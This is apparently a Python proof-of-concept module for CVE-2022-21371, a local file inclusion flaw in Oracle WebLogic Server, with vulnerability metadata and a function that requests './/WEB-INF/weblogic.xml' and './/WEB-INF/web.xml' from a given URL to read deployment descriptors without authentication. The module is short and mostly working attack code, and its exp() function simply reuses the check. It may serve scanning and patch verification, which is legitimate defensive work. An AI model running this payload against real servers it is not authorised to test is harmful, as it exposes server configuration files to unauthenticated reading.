CVE-2022-21371.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Oracle WebLogic Server Local File Inclusion''',
        "description": '''An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.''',
        "severity": "high",
        "references": [
            "https://www.oracle.com/security-alerts/cpujan2022.html", 
            "https://nvd.nist.gov/vuln/detail/CVE-2022-21371", 
            "https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "cvss-score": "7.5",
            "cve-id": "CVE-2022-21371",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2022", "lfi", "weblogic", "oracle"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)
        paths = [
            ".//WEB-INF/weblogic.xml",
            ".//WEB-INF/web.xml"
        ]
        for path in paths:
            resp = requests.get(url+path, timeout=10, verify=False, allow_redirects=False)
            if resp.status_code == 200 and (("<web-app" in resp.text and "</web-app>" in resp.text) or ("<weblogic-web-app" in resp.text and "</weblogic-web-app>" in resp.text)) and ("text/xml" in str(resp.headers) or "application/xml" in str(resp.headers)):
                result["success"] = True
                result["info"] = info()
                result["payload"] = url+path

                return result

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url